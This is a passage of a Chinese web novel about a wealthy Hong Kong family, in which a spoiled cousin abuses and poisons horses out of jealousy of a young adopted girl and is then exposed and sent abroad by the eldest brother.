小婉婉在将黑马交给饲养员之前，对它叮嘱道：“小黑，你要好好吃饭哦，快点好起来，我们就能一起玩啦。” 黑马重重的点了点头，此后，饲养员将它送回厩里，它都没有丝毫反抗。 “太不可思议了，大少爷，以后这匹马就是小小姐的了。您放心，我一定会将它照顾好，让它尽快恢复。”饲养员拴好了黑马，过来向黎墨城报备。 黎墨城想起了黎墨舒，面色沉冷的命令：“以后除了小小姐，任何人不准靠近它十米，谁要质疑，就说我说的。” “是。” …… 啪！ 马鞭恶狠狠的抽在浅黄色的母马身上，痛得马儿发出痛苦的嘶鸣，踉跄了几步后，倒在了地上。 黎墨舒抽了这匹马几百下，握着马鞭的手都磨破了皮，直到感觉到虎口刺痛，才将鞭子扔给饲养员。 “没用的东西，敢不听话，这就是你的下场！” “舒小姐，您的手都流血了，您先消消气，去医务室包扎一下吧。” 饲养员心疼自己一手照料的马匹，却碍于黎墨舒的坏脾气，不敢直接求情，只能找别的借口将她支走。 没想到，黎墨舒打完还不解气，用看待死物的眼神，盯着被打得奄奄一息的母马。 “正好，很久没吃过马肉了，把它送去屠宰场，今天晚上就用它下酒！” 饲养员瞪大了眼睛，斗胆跪在地上求情：“舒小姐，它怎么也陪了您几年，就当是看在这份情份上，求您别吃它。” 黎墨舒眯起双眼，望着替马求情的饲养员，怒火没消减不说，反而透着一股被冒犯的倨傲。 她狰狞的勾起唇角，看着手心里的伤口，声音透着刺骨的阴寒：“情分？一只畜生，也配跟我谈情分？” 她的目光终于落到饲养员因卑微而颤抖的脊背上，如同打量一只不起眼的蚊虫。 “看来你在这马场待得太久，脑子也跟这些畜生一样不灵光，它今天把我甩下马，是你没有把它驯好，它被处死，归根结底都怪你！” 黎墨舒语调轻慢，却字字如刀。 饲养员猛地抬头，脸上血色尽褪：“舒小姐！我……我可以辞职，但是求你网开一面，我愿意花钱，把它买走！” “闭嘴。”黎墨舒不耐烦地打断，居高临下的抱起胳膊：“我骑过的马，就算死，也不会卖给别人。” 说着，她侧过头，对身后的仆人扬了扬下巴：“去告诉账房，给他结清这个月的工钱，多一分都不必给。然后……”她红唇勾起一抹残忍的弧度，对着饲养员：“你，立刻，从我眼前消失。” 饲养员眼中的黎墨舒，简直就像是一条阴暗爬行的毒蛇，紧紧的缠绕着他的脖颈，令他无法呼吸。 黎墨舒就像是处理了一件微不足道的小事，优雅的转身，向着饲养黑马的马厩走去。 她刚才从仆人口中得知，那匹烈性黑马已经被驯服。 刚好，这匹畜生废了，干脆把那匹牵来练练手。 没想到饲养员将她拦在了马厩外。 “对不起舒小姐，您不能动它。” 第94章 帅哥，你真好看 “你说什么？这个马场都是我黎家的，这里还有我不能动的马？” 黎墨舒指着自己的鼻子，脸上露出不敢置信的嘲弄。 “赶紧滚开，你不想在这里干了是吗？”黎墨舒推了饲养员一把，直接就往黑马的马厩里面闯。 如果换做以往，黎墨舒这么强横，饲养员根本不敢阻拦。 但是今天不一样。 他快步冲上前，挡在黎墨舒的前面，目光坚定的说：“舒小姐，您真的不能过去，因为大少爷将这匹马给了小小姐，任何人不得靠近它十米之内。” 黎墨舒听到他提起‘大少爷’三个字，嚣张的气焰有所收敛。 喃喃自语道：“大哥不是很少来马场，怎么今天……” 黎墨舒后知后觉，一把抓住了饲养员的衣领。 “你说大哥把这匹马给了内地那个小野种？” 黎墨舒的肺子都快要气炸了！ 在那个小野种来到黎家之前，她作为黎家唯一一个女儿，受尽宠爱。 虽然阿爷和阿奶对她不像六位哥哥那般器重，但是跟她的同胞兄弟相比，她总是更招待见的，在六位哥哥面前，偶尔也能刷一刷存在感。 只要她的要求不过分，几乎都能被满足。 可是自从那个小野种来了以后，别说六位哥哥再也不用正眼瞧她，阿爷和阿奶整天围着她转，完全把自己当成了空气。 黎墨舒就是在家里找不到存在感，才整天呆在马场里。 因为这里才是她的王国，所有人，都不敢忤逆她一个字。 可是现在呢？ 小野种又抢走了自己最喜欢的东西！ 黎墨舒双眼燃烧着愤怒的火焰，扬起手就打了饲养员一个巴掌。 “我今天就是要骑它，你敢拦我试试？” 黎墨舒以为这样就能吓住饲养员，没想到，对方在被她打了个巴掌后，仍然坚持阻止。 “舒小姐，我是受大少爷吩咐，这匹马您真的不能动！” 黎墨舒气急败坏的跺脚：“好啊，那我现在就把你开除，你现在立刻、马上，收拾东西给我滚蛋！” 饲养员伸开手臂，依然阻止她前进：“舒小姐，我是大少爷钦点的饲养员，您没有开除我的权限。” 黎墨舒：“……” 呵。 这里还有她开除不了的人？ 笑话！ 黎墨舒看向身后的仆从以及保镖，冷笑着命令：“把他给我扔出去！” 饲养员大惊：“舒小姐，您不可以这样！” 然而，饲养员只有一个人，根本抵不过黎墨舒带来的人手，被迫着架起了四肢，带出了马厩。 黎墨舒眼中尽是得逞的姿色，打开了黑马的马厩，望着面前高昂挺拔的黑色宝驹，她眼底尽是渴望得到它的贪婪。 她带着一种理所当然的傲慢，径直朝黑马走过去。 她甚至没有放缓脚步，完全忘记了之前怎么样对它，以及它的同伴。 她用那只带着血的手，想要抚摸黑马的鬃毛。 就在她的指尖即将触碰到那如缎黑毛的刹那，黑马猛地发出一声被触怒的低沉咆哮，以一种近乎本能的爆发力，猛地尥起蹶子！ “砰！”一声沉闷的重响。 黎墨舒脸上的傲慢和贪婪瞬间被极致的惊愕和痛苦取代。 她甚至没来得及发出一声尖叫，整个人就像一只被狠狠拍飞的布偶，倒飞出去数米，重重砸在沙地上，溅起一片尘土。 黎墨舒胸口剧痛难忍，仿佛骨头都已碎裂，一口气堵在喉咙里，发出“喝喝”的抽气声，脸上是从未有过的狼狈与不敢置信的惊骇。 这匹畜生不是被驯服了吗？ 怎么还会攻击她！ 而黑马在踹出这一蹄后，并未追击，只是傲然屹立，喷着粗重的鼻息，睥睨着那个倒在地上的身影。 仿佛每一个动作，每一分眼神，都充满了极致的轻蔑与抗。 “来人，把它给我宰了，我再也不想看见它！”黎墨舒挣扎着爬起来，手捂着胸口，命令身边的仆人。 下一秒，只听‘噗’的一声。 她口中喷涌出了鲜血，吓得仆人们都大惊失色。 “舒小姐，您没事吧？” 黎墨舒想要开口说话，却发现连正常呼吸都做不到，慢慢的，双眼一黑，栽倒了下去。 黎墨舒的仆人哪里还能顾及得上黑马，火速安排车子，将她送往医院救治。 …… 黎墨城将小婉婉哄睡以后，才回自己的院子。 这时，等候许久的助理上前来汇报：“大少爷，今天舒小姐非要骑那匹黑马，一不小心被踢进了医院。” “哦？”黎墨城挑了挑眉。 他带小婉婉离开的时候，明明交代过，任何人不准靠近那匹黑马。 就是因为他心里清楚，那匹马，除了小婉婉，任何人都不认。 看来黎墨舒并没依令行事，才会受伤住院。 “没死吧？”黎墨城脸上没有丝毫担忧，反倒是带着几分幸灾乐祸。 助理：“人是没死，不过肺部受了伤，从被送去医院一直咳血，估计一时半会难以恢复。” “二房那边怎么说？” “二奶奶那边还没收到消息，舒小姐生母倒是很生气，不过王素珍现在忙着帮她弟弟拉拢关系，一时半会顾不上她这边。” 意思就是雷声大，雨点小。 黎墨舒就算受伤住院，也没人替她出头！ 黎墨城鼻腔发出轻嗤：“为了防止再有人招惹那匹黑马，加派人手过去，谁敢擅动，永不许踏入马场！” “是。” 助理得到指令，立刻去往马场做出安排。 …… 转眼。 一周过去。 又到了休息日，小婉婉心心念念着小黑的伤情，提出想去马场看看。 黎墨城自然答应，清晨吃完了早饭，就带她去了马场。 正当晨光熹微，远处沙地训练场上，棕褐色的蹄印如印章般烙在细腻的沙粒间，三五匹骏马被牵出马厩，开始了一天的训练。 黎墨城带着小婉婉直接到了黑马的马厩。 黑马经过一周的调养，身上的伤口基本已经脱痂，只剩下个别几处伤痕重的地方，还未完全愈合。 “小黑，我再给你呼呼，很快就好了哦。”小婉婉寻着黑马的伤口，吹了两下。 黑马一动不动，如同一位黑色的骑士，衷心不疑的守着它的公主。 小婉婉给它呼完了伤口，轻轻抚摸着马头，黑马的耳朵也配合着向下竖立，力求不错过她的每一句话。 “小黑，你要乖乖的哦，等你把伤养好，我们就可以一起玩啦！” “我的朋友们都想认识你，你看它们在那边……”小婉婉扬起小手，指着一棵大树。 就见好几只品类不一的小鸟，叽叽喳喳的落在树枝上。 并且伴随着小婉婉的动作，一只玄凤鹦鹉扑棱着翅膀，笔直的飞过来，落在黑马前面的栅栏上。 “呦，小黑，哈哈哈，大蠢货，给我立正，站好别动！” 说起来，这只鹦鹉虽然跟小婉婉生活了一段日子，可是从黎墨冰那里学来嘴贱的毛病，一只都没有改好，动辄就会爆粗口，还每天都啰嗦个不停。 要不然黎墨郢也不会那么讨厌它。 而此刻，也就是因为小婉婉在，黑马面对出言不逊的鹦鹉，并未理会，而是低下头，温驯的陪伴主人。 “小鹦鹉，骂人不是乖孩子哦，我说过好多次了。” 小婉婉正儿八经的纠正鹦鹉的坏习惯。 虽然…… 并没有什么效果。 “我是乖孩子，大笨蛋，它们都是笨蛋！” 玄风鹦鹉扑棱着翅膀，落在了黑马的头上，吃醋的意味不要太明显了。 小婉婉无奈的晃了晃头，继而不屑的教导：“小鹦鹉，不可以说别人是笨蛋，那样是不礼貌的行为。” “不可以说笨蛋，蠢货，大蠢货！”玄凤鹦鹉在黑马的头上跳来跳去。 终于，黑马似乎忍受不了，从鼻子里喷发出警告的鼻息。 小婉婉见状赶忙安抚：“小黑不生气，小鹦鹉跟你闹着玩呢，我们不跟它一般见识。” 人儿小小的手轻轻的抚摸马脸，黑马重新恢复安静，低着头任由她抚摸。 至于玄凤鹦鹉，在发觉自己被冷落后，跑到了黎墨城的肩膀上。 “帅哥，下辈子我做美女嫁给你！” 黎墨城：“……” 下辈子的事，下辈子再说。 黎墨城准备抬手将鹦鹉赶走，结果就听见它叽叽喳喳的叫嚷：“帅哥，你真好看，你真漂亮。” 黎墨城：“……” 油嘴滑舌。 简直跟黎墨冰那家伙一模一样！ 小婉婉陪了黑马多久，玄凤鹦鹉就在旁边聒噪了多久。 后来，好多只小鸟都跑到栅栏上面，叽叽喳喳的形成一片热闹天地。 小婉婉不用担心黑马会无聊，就跟黎墨城提议，去草场上骑大马。 黎墨城事先给她订做了骑马装，今天正好给她穿过来，不去草场体验一番，怎么都说不过去。 于是他让饲养员将他的马牵出来，抱着小婉婉骑上去，然后教她怎么勒缰绳，怎么发号指令。 小婉婉也学得有模有样的坐在马鞍上，身子绷得直直的，两只小手紧紧攥着鞍桥。 一声清脆的“驾”，棕色的马儿迈开四蹄，稳健的慢跑在草场上。 黎墨城其实知道，即便不教她这些，马也会听她的话，毕竟她连普通人驯服不了的黑马都驯服了。 于是他慢慢的放开缰绳，让小婉婉自己驾驭着马匹行走。 只是很快他就察觉，好似不是所有的马，都像黑马那般有灵性，能够听懂小婉婉的指令。 “风蝶，你慢一点。”黎墨城尝试重新握住缰绳。 然而，棕色的骏马根本不停他指令，越跑越快，从闲适的小跑变成了惊慌的狂奔。 黎墨城意识到不妙，缰绳已经脱了手。 “大哥哥！”小婉婉的身体剧烈地前后晃动，显然才三岁的她，根本不适应马匹快跑的奔波，完全处在懵然的状态里。 “风蝶！”黎墨城呼唤着马的名字，快跑着向前追赶。 但这反而更刺激了受惊的马匹，它跑得越发狂乱，鬃毛在风中飞扬，马蹄沉重而凌乱地敲击着地面，不再是规律的“嘚嘚”声，而是失控的、噼里啪啦的乱响。 望着失控的马匹，黎墨城的脸一瞬间失去血色。 他下意识认为这场意外不可能发生，因为掌控着整个马场的黑马，已经被小婉婉驯服了。 可是现在摆在眼前的是，马匹彻底失控，连他的指令都不听。 风蝶的每一次腾空和落地，都像是要把小婉婉瘦小的身子抛飞出去，黎墨城看得心惊肉跳。 好在小婉婉凭借着本能，伏低了身体，紧紧的抓着马的鬃毛，才没有被甩下去。 黎墨城不再犹豫，随手牵来一匹正在训练的马匹，一声饱含威压的“驾”，骏马奔跑起来，向着失控的棕色宝马追逐而去。 马蹄声如密集的战鼓，迅速逼近。 黎墨城策马狂奔，眼神锐利如鹰，身体伏低，在靠近小婉婉最近的距离，他伸出手。 “婉婉，来我这边。” 奈何小婉婉身下的马根本不配合，在发觉黎墨城追过来的瞬间，骤然加快了速度。 小婉婉再一次脱离了他的范围，两匹马都在狂奔，风声呼啸中，黎墨城也只好加快速度。 就在两驾齐驱，黎墨城准备翻身到风蝶背上的时候——一声鹰啼。 海东青的啼鸣划破了湛蓝的天空，响彻整个马场，原本双眼被朦胧遮掩的骏马，目光忽然变得清明，在听见主人的呼唤后，放慢了脚步，直到慢慢的停止。 棕色的骏马羞愧的低着头，像是无颜面对自己的主人，眼角还有两滴泪水滑落。 第95章 投毒（一更） 棕色的骏马躺在地上，光滑如缎的皮毛都被汗水浸湿，颜色深一块浅一块，臀腿部的肌肉也不受控制的微微发抖。 黎墨城跑过来，掀开它的眼皮。 发现它的瞳孔正在慢慢扩散，如果不及时救治，就会有生命危险。 “来人，叫医生过来！” 饲养员听到黎墨城的喊声，立刻找来了马场里的兽医。 兽医赶到后，迅速进行了检查，直接排除了疾病的可能。 “应该是误食了某种有毒植物，毒素严重刺激并损伤了它的胃肠道黏膜，导致出血和炎症，并引发了剧烈的腹泻和绞痛。大少爷，您看它腹部的痉挛，以及排泄物的状态，是典型的中毒性肠炎症状。” “还有救吗？”黎墨城看着奄奄一息的棕色宝马，眼神里尽是惋惜和怜悯。 兽医愧疚地摇了摇头：“毒素已经侵入它的全身器官，即便救治活下来，以后也难以自如行动，与其让它痛苦的活着，不如早日解脱……” 似乎听懂了兽医的判决，发出一声低低的、哀伤的嘶鸣，仿佛在诉说着它的痛苦和不甘。 它庞大的身躯因为一阵突如其来的剧烈腹痛而猛地抽搐了一下，努力想要站起来，却又虚弱地倒下。 “风蝶！”黎墨城心疼的眼眶泛红，要求兽医：“不管怎么样，都要尽全力给它治疗。” 就算以后都不能骑乘奔跑，活着，比什么都重要。 黎墨城轻轻抚摸棕马的鬓毛，兽医则在他的吩咐下，开始给马注射药剂，缓解中毒症状。 初步的治疗完成后，兽医叫来饲养员，合力将棕马送回了马厩，继续进行救治。 接下来，黎墨城叫来风蝶的专属饲养员，准备对他问责。 不出几分钟，一个穿着工作服、看上去二十出头的年轻饲养员就小跑着赶了过来，脸上还带着一丝不明所以的惶惑。 当他看到瘫倒在地的风蝶，和它一身触目惊心的血污时，脸色“唰”地一下变得惨白。 “风蝶怎么会变成这样？” 黎墨城的声音冷得没有丝毫温度：“我也想要问你，风蝶的食物每天都是你亲手准备，怎么会让它误食了东西导致中毒？” 饲养员被吓得双唇都在哆嗦：“大少爷，我喂给风蝶的东西绝对没有问题，不信你让人检查厨房和食槽！还有我作为专业饲养员，知道哪些东西对马有毒素，平时都会避讳。我们就连草场上都是每天轮检，绝对没有一根有毒的草药！” “既然草料和草场都没有问题，风蝶又是怎么回事？”黎墨城一步步走近，高大的身影带来极强的压迫感。 饲养员被震慑得后退了一步，慌乱的摇头。 这时，兽医给风蝶做完了初步的治疗，到食槽里面进行检查，一眼就发现了可疑的东西。 “大少爷，这里面有夹竹桃！” 夹竹桃，但凡懂些药理的人都知道，它里面含有一种作用于心脏的强心苷，服用之后会产生剧烈腹痛、腹泻、流涎、呼吸困难，严重到可以猝死。 这种植物，港城很多地方都是禁止栽培的。 “怪不得，我知道怎么办了！”兽医马上找到了对应办法，有针对性的救治，那么风蝶生存下来的几率就会更大。 黎墨城面色布满了黑压压的积云，他没有在为难风蝶的饲养员，而是怀疑，有人故意在马场投毒。 “吩咐下去，各个马厩全面检查，发现可疑成分，立刻报告给我。” 风蝶的饲养员按照黎墨城的交代，立刻去各个马厩传递消息。 小婉婉看出黎墨城很难过，轻轻握住他的手，叫了声：“大哥哥，不伤心，风蝶会好的。” 黎墨城这才意识到，刚才自己生气的样子，应该吓到她。 他蹲在地上，脸色柔和下来，轻叹：“婉婉，大哥没事，刚才吓到了吧？” 小婉婉摇晃着头，看向躺在马厩里的风蝶，眼睛里闪过一抹心疼。 如果她今天没有给小黑呼呼，就可以帮助风蝶，让它不这么难过。 小婉婉决定，等到明天，就来给风蝶呼呼，这样它就能快快好起来。 “大少爷！” 风蝶的饲养员神色慌乱的跑过来，跟在他身后的，还有小黑的饲养员，脸色看起来相对凝重。 “大少爷，今天舒小姐去过小黑的马厩，因为小黑身上的伤还没好，我一直奉命守着它，所以舒小姐没能靠近……”小黑的饲养员说完，转头看向同事。 同事苦着脸说：“今天我看见舒小姐来过，我以为她要骑风蝶，说向您请示一声，她却说不用，呆了一会儿就走了，您说会不会……” 风蝶的饲养员的意思已经足够明显，给风蝶投毒的人，很可能是黎墨舒。 而黎墨城在听到黎墨舒的名字，就已经断定，除了她没有别人！ 原因很简单，就凭黎墨舒的报复心，她被小黑踹伤住院，自然会想要报复。 但是因为他下令，让她完全没有机会靠近，于是就将仇恨转嫁给了风蝶。 她这么明晃晃的投毒，要么是她太蠢，以为别人发现不了。 要么……觉得他不会为了一匹马，跟她计较？ 就算黎墨城可以不为风蝶计较，可是今天马匹失控，害得婉婉冒着生命危险，黎墨城必须算在她头上！ “我知道了，你们继续排查看看有没有别的马中毒，等下我带小小姐回去，之后马场歇业，在风蝶康复之前，任何人都别放进来。” “是。” 黎墨城又去查看了风蝶的情况，发现它经过救治后，状态恢复了一些。 于是他带着婉婉直接回了家，先将她送回黎墨郢的院子，交给王妈和刘妈照顾，黎墨城果断去了二房那边。 …… “大少爷。” “大少爷……” 黎墨城冷着脸走进大门，佣人们一个接着一个的问候。 自从吕洁芳被禁足，二房这边添了不少新人，专门帮黎老爷盯着这边的动静。 而平时黎老夫人的子嗣几乎很少与二房来往，见到黎墨城阴沉着脸进来，就猜到是发生了什么事。 “黎墨舒回来没有？”黎墨城对一个佣人问。 正好这人是黎老爷安排过来的，对黎墨城知无不言：“舒小姐今天中午回来的，现在应该跟孙姨太太在餐厅吃饭。” 她口中的孙姨太，就是黎立正的二姨太，也是黎墨舒的生母。 黎墨城越过佣人，毫不迟疑的向饭厅走去，每一步，都带着凛冽的罡风。 彼时。 黎墨舒刚刚放下筷子，跟孙雪莉抱怨黎墨城将那匹黑马送给了小婉婉，她要求母亲去求吕洁芳，帮她把那匹黑马要过来送给自己。 孙雪莉叹了口气，提到之前王素珍的侄女在学园欺负那丫头，害得公司都险些破产，便打算劝女儿不要在这个时候起贪心。 “那个小丫头片子正得宠，不止你大娘和你大伯，就连老爷和老夫人都把她放在心间儿宝贝，你去跟她抢东西，根本落不到好处，宝马有的是，大不了让马场再多进购两批，随便你挑选。” 然而一向骄纵惯了的黎墨舒，一句话也听不进去。 她屁股在椅子上挣了一下，不高兴的挂着脸。 “可我就喜欢那匹黑马！就算那个小野种得逞又如何？我是黎家的亲生骨肉，跟大妈那个侄女可不一样！我就不信，他们会为了一个小野种，连我这个亲生骨头都不要！” 孙雪莉无奈的摇了摇头，刚叫了一声：“阿舒……” 忽然，房门被人从外面一脚踹开。 黎墨舒和孙雪莉同时被吓了一跳，转头看着出现在门口的黎墨城，后者心虚的低垂着目光，生怕刚才跟女儿的对话被听去。 实际上，黎墨城在门外将母女二人的对话听得清清楚楚。 听见他们一口一个“小野种”的称呼他的宝贝妹妹，黎墨城脸色骇人，周身都被一股寒冷包裹着。 他凤眸凝视着刚吃完饭的母女俩，愤怒的火焰隐隐暴起。 偏偏黎墨舒不觉得自己有错，反而憋着嘴，抱怨起来：“大哥，好端端的你踹门做什么？都，吓了我一跳……” 说到后面，黎墨舒应该是记起了自己在马场给风蝶下毒，眼神终于出现了一丝闪躲。 黎墨城一步步走进来，每一步都沉重得让地板仿佛在震动。 来到餐桌前，他从口袋里拿出了几片白色的花瓣，放在黎墨舒面前。 “认识这东西么？” 黎墨舒的脸色瞬间血色尽褪，但又不得不强装镇定，将脸扭到一旁。 “我不认识。” 孙雪莉则被搞的不明所以，看着桌上的花瓣儿，喃喃辨认：“这个不是夹竹桃？” 孙雪莉茫然的问道：“阿城，你怎么拿它们过来……” 黎墨城没有看孙雪莉，只盯着黎墨舒假装镇定的脸，危险的眯起眼睛。 “那要问你的好女儿，她到马厩里去投毒，害得风蝶差点连命都没了！而且不止如此，风蝶失控的时候，婉婉就在马背上，险些摔下来！” “啊？有这样的事？”孙雪莉心脏猛地一拧，随即开始突突的跳。 她看着黎墨舒，太了解自己的女儿是什么德行，黎墨城既然找上门，那她肯定是做了这件事。 “你这孩子，怎么能这样？”孙雪莉正打算教育黎墨舒一顿，好让黎墨城消气。 过后再承认错误，事情就能过去了。 然而黎墨舒根本不懂她的想法，梗着脖子站起来，矢口否认：“我没有，才不是我做的！” 第96章 当罚（二更） 黎墨城见黎墨舒不承认，猛地抓住她的手腕向外面拖去。 “那你现在就跟我去化验室，你有没有沾到花粉，一验便知！” 黎墨舒自然碰过夹竹桃，那花就是她亲手从西郊园子树上采摘的，而且她从回来到现在，一直都没有换过衣服。 她吓得连连后退，连连尖叫起来：“你放开我！不是我！我才不去化验室！” “阿城，你别冲动，有话好好说，这样会吓到小舒的……”孙雪莉心疼女儿，赶忙上前来阻止。 黎墨城猛地放开手，黎墨舒不小心跌坐在地上，狼狈的头上的发卡都散开了。 孙雪莉提着一口气蹲下去，饶是她不想跟黎墨城正面起冲突，可是眼下女儿被这么欺负，她做母亲怎么能忍受得了？ “阿城，小舒是你堂妹，你怎么能对她这么凶啊？” 黎墨城冷眼看着地上的黎墨舒，只有冰冷的审视和厌恶。 “你现在还不承认？马场饲养员可以作证，除了你，没有人靠近过马厩！” 黎墨舒见自己否认不掉，干脆破罐子破摔，抬起满是泪痕的双眼，嘴角浮起一丝扭曲的笑。 “是我做的又如何？大哥难道要为了一匹畜生，对我兴师问罪？” “畜生？”黎墨城捏紧了拳，以前他只知道黎墨舒嚣张跋扈，骄纵自我，没想到现在已经发展到了歹毒！ “就算它只是一匹畜生，可也是一条鲜活的生命，你说取就取，今天你敢给马投毒，以后谁要让你不满，你是不是还要杀人？” 黎墨城逼近了一步，高大的身影将她完全笼罩在阴影里，每一个字都像是从齿缝中碾磨出来。 黎墨舒被他眼中的骇人光芒吓得瑟缩了一下。但随即，那点恐惧就被更疯狂的怨恨所取代。 “我当然不会杀人！我只是不服，谁让你把小黑给了那个小野种？明明我才是你妹妹，你却从来没像对她那样对我！” 以前，黎墨舒一直都以为，大娘家的几位哥哥是不喜欢女孩子，所以才每次见她都那么冷淡。 是那个小野种来到黎家，让她看清了，几位哥哥不是不喜欢女孩，他们只是不喜欢自己。 所以他们才连一个正眼都不给自己。 “小黑明明是我先看中的，大哥只一句话，就把她送给那个小野种，凭什么我要让给她？你对她好我不管，就是不能抢走我的东西！” 黎墨舒哭嚎着起身，将桌上的饭菜全都扫落在地上，以此来表达内心的不满。 孙雪莉听到这里，越发替女儿委屈，她质问起了黎墨城：“阿城，你为了一个没有血缘的妹妹，抢了小舒的东西，还来指责小舒，你怎么能这样偏心呢？” “妈……”黎墨舒有了母亲的维护，更加委屈，扑到孙雪莉的怀里哭了起来。 黎墨城冷眼看着唱大戏般哭闹的母女，心说怪不得，黎墨舒会无法无天，都是孙雪莉的溺爱和护短。 “既然你执意维护你女儿，那我就去找阿爷和阿奶，让他们主持这个公道！” 黎墨城说完，转身就走。 孙雪莉不甘心的追出来叫喊：“你休想拿老爷压我，告诉你黎墨城，我这里不是你的后花园，想来就来想走就走。” 孙雪莉话说的很硬气，但是心里非常清楚，自己的婆婆不争气，不受老爷子重视，自然她们这一脉也得不到庇护。 黎墨城如果真的去找老爷和老夫人，最后吃亏的还是她们！ 孙雪莉不能坐以待毙，跑到屋子里拉着黎墨舒，就去了吕洁芳的院子。 瘦死的骆驼比马大，就算吕洁芳不能直接给他们做主，可有她出面，小舒总不会被过分为难。 毫无意外，母女俩刚来到门口，佣人就将她们拦住。 “孙姨太，老爷交代过二奶奶身体不适需要静养，任何人不能打扰。” 孙雪莉脸色黑了黑，想要对佣人发火，可又顾忌对方是老爷子的人，于是“噗通”往地上一坐，大声哭嚎起来：“妈咪呀，别人见你卧病在床，欺负我们小舒没有依靠，现在更是拿着嫡出的身份来压我，要害死小舒，您再不管，我们就没有活路了啊！” 房间里。 吕洁芳本来就因为被禁足，整日郁郁寡欢。 听见孙雪莉的控诉后，血压一阵上涌，她抄起拐杖起身，出来呵斥老爷子派来的佣人。 “这段日子我不与你们计较，你们还真的以为可以骑到我头顶？放她们母女俩进来，你们要是敢不听，我现在就去吊死在屋里，好让你们收了尸体，去找狗主人复命！” 吕洁芳到底是老爷子的二姨太，真的大动干戈，佣人拦不住，只能放孙雪莉母女进门。 随即几位佣人眼观鼻，鼻观心，直接回去找黎老爷复命。 …… 黎老爷的书房里，黎墨城等到老夫人过来后，才言简意赅的将黎墨舒在马场的所作所为说了一遍。 说完之后，书房里陷入了一片死一样的寂静。 黎老夫人老神在在的坐在隔壁，就那么冷眼瞧着黎老爷，看他要怎么处置令一个‘宝贝‘孙女儿！ 毕竟她作为大房，说浅了，有损威严，说重了，就像是她为了争风吃醋，故意刁难吕洁芳那一脉。 黎老爷承受着来自发妻的压力，脸上的皱纹仿佛瞬间加深了许多，手指用力按着太阳穴，应该是没想到，活了这么大把年纪，还要处理后院的纠纷。 “为了点小女孩的嫉妒心思，就敢用这种阴毒手段残害性命，小舒她这次，确实过分。但归根结底，还是孙雪莉做母亲，教女无方。” 音落，隔壁的黎老夫人发出一声轻嗤，像是不屑，更像是一种嘲弄。 黎老爷屏住呼吸，颇带着讨好的，准备向她寻求建议。 这时负责看守吕洁芳的佣人进门，向他禀报：“老爷，二姨奶非要见孙姨太和舒小姐，我们拦不住，只能让她们进了门。” 黎老爷：“……” 看见发妻眼里轻蔑的光，黎老爷面子挂不住，瞬间拍案而起。 “她又跟着掺和？怎么如此不长记性！” 佣人们见老爷子发火，一个个低着头，不敢开口。 老爷子气得胸口起伏，好半天才把气喘均匀，颓然的坐在椅子上。 “造孽啊，真是造孽，我当年怎么就……不长眼，把这么个麻烦精给娶进门！” 黎老夫人瞧着他一脸疲惫的模样，到底没忍心置之不理。 “这件事掺和的人再多，归根结底，黎墨舒犯了错，其他人最多也是求情、包庇。你要是一味纵容，她们不会有丝毫醒悟，反而加剧了她的嚣张，以后犯下更严重的错误，影响到我们黎家的名声！” 所以，黎墨舒当罚。 黎老爷醍醐灌顶，一下就理清了思路。 他知道吕洁芳很快就会带着母女俩找过来，到时候又要扯皮半天，索性都是一个结果。 黎老爷大手一挥，看向黎墨城：“阿城，阿爷相信你早就有了决断，你想要让小舒付出什么样的代价，只管去做，只要以后她能改好，不污了我们黎家名声就行。” 黎墨城颔首，应了声：“是。” 他之所以先去找黎墨舒对峙，就是顾忌阿爷的态度，又不想给长辈增添烦恼。 然而黎墨舒的拒不认错，与孙雪莉的包庇实在惹恼了他！ 如今他已经得到长辈的全力支持，黎墨舒再折腾，都无济于事。 …… 另一边。 孙雪莉拉着黎墨舒，添油加醋的跟吕洁芳告状，把黎墨舒的委屈放大，反而显得黎墨城小题大做。 吕洁芳一听，果真受不了窝囊气，作势要带着她们去找黎老爷硬钢。 “这次他要是还敢偏心大房，我就在房梁上吊死给他看！” 孙雪莉见婆婆报着决心去，心里有了底气，拉着黎墨舒的手，将她自己的头发也弄乱，这样显得她们更弱势一些。 吕洁芳在母女俩的搀扶下走出门，哪料还没走几步，黎墨城迈着压迫感十足的步伐向院子走来。 在他身后，还跟着十余位黑衣保镖，光是看着就震得人心慌。 黎墨城面色冷峻，眸色沉寒的站在距离她们数米的位置。 神情肃穆的保镖，无声的在他身边排成了一队。 吕洁芳心里“咯噔”一下，但仗着辈分，还是硬着头皮，尖着嗓子先发制人。 “阿城！你来得正好！你看看你把小舒吓成什么样子了？为了匹马，你要逼死你妹妹，逼死你孙姨，逼死我这个老婆子吗？” 孙雪莉立刻配合地抽泣起来，指着他身边的保镖质问：“阿城，你弄这些人过来是几个意思？难不成仗着我们实力不如你，过来恐吓我们？” 黎墨城面色虽冷，但在吕洁芳面前，仍然保持着晚辈的谦虚姿态，避免被她抓到把柄，说他不尊重长辈。 “二奶奶，孙姨娘，你们误会了，我并没有想要逼你们。 只是阿爷说，墨舒年纪小，容易行差踏错，这次的事情性质恶劣，难免被人指指点点，也与她成长无益。 于是我建议送她去国外多读些书，静静心，也接受一下更好的教育。手续已经让人在办了，学校也联系好了，是管理很严格的寄宿制学校。” “什么？出国读书？”吕洁芳眼睛瞪得溜圆。 第97章 谁敢动 孙雪莉也顾不上装柔弱了，黎墨城美其名曰送黎墨舒出国留学。 可是在真正的大家族里，被看重的孩子是不会草率的被送走的。往往都是一些不被重视，或者犯了错，为了逃避惩罚，才被发配到国外。 出国就等于被放弃，连想要回来的自由都没有！ 这在各个家族里，早就形成心照不宣的默契！ “不行！我不同意！小舒怎么能一个人去国外那种地方！她还小，离不开我！黎墨城，我不信这是老爷说的，一定是你自作主张，因为小舒碍了你的眼，就想把她赶走！” 吕洁芳也愤怒不已的说：“黎墨城，你疯了吗？出国这么大的事说走就走，你还把我这个长辈放在眼里吗？” 黎墨城面对吕洁芳叩来的帽子，仍然保持着谦恭。 他从善如流地点了点头：“所以我现在来通知你们，做好准备，明天就送小舒出国。” 黎墨舒听到黎墨城要将自己送去国外，再也没有了嚣张的气焰，她抓着孙雪莉的袖子放声大哭：“妈，我不要出国，我不要离开你，我不走！” 孙雪莉听到女儿的哭声，心都要碎了。 她愤怒地瞪着黎墨城：“阿城，你当真要为了一个内地来的马溜女，把你亲妹妹送出国？这种事若传出去，也不怕被人嘲笑你里外不分，脑子进水？” 黎墨城长这么大，二房还是第一次跟他叫板。 他清冷的嘴角压了又压，语气都冷了几分。 “孙姨舍不得女儿的心情我理解，墨舒确实还年纪小，身边需要人照顾。既然您放心不下，那就一起过去吧，在学校附近给您安排住处，也好就近照顾她。” 孙雪莉如同晴天霹雳，呆在原地直接傻了，她只是抱怨了几句，黎墨城竟然要将自己一起流放？ 